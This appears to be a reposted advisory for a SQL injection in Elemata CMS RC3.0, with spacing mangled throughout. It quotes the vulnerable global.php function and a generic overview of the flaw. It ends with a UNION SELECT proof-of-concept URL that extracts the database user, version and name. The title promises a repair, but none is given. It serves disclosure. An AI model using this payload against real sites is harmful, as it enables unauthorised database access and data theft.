Elemata CMS RC3.0 (global. php, id param) SQL injection and repair

# Title: Elemata CMS RC3.0 SQL Injection # vulnerability Author: CWH Underground # Website: www.2600.in. th # developer Website: http://www.elemata.com/# : http://jaist.dl.sourceforge.net/project/elematacms/Elemata%203.x/ElemataRC3.0.zip# Affected Version: RC 3.0 # tested platform: window and Linux ############################### defects: SQL Injection ##############################/functions/global. php (LINE: 24-30) ------------------------------------------------------------------------------- function e_meta ($ id) {include ("Connections/default. php "); mysql_select_db ($ database_default, $ default); $ query_meta =" SELECT * FROM posts WHERE id = '$ id' "; $ meta = mysql_query ($ query_meta, $ default) or die (mysql_error (); $ row_meta = mysql_fetch_assoc ($ meta ); -----------------------------------------------------------------------------####################################### ############# SQL Injection overview ####################### ############################ An attacker might execute arbitrary SQL commands on the database server with this vulnerability. user tainted data is used when creating the database query that will be executed on the database management system (DBMS ). an attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating systemdepending on the query, DBMS and configuration. POC: http://www.bkjia.com /Elemata /? Id =-1% 27% 20 UNION % 20ALL % 20 SELECT % 20 NULL, NULL, concat % 28 user % 28% 29, 0x3a3a, version % 28% 29, 0x3a3a, database % 28% 29, NULL, NULL -- +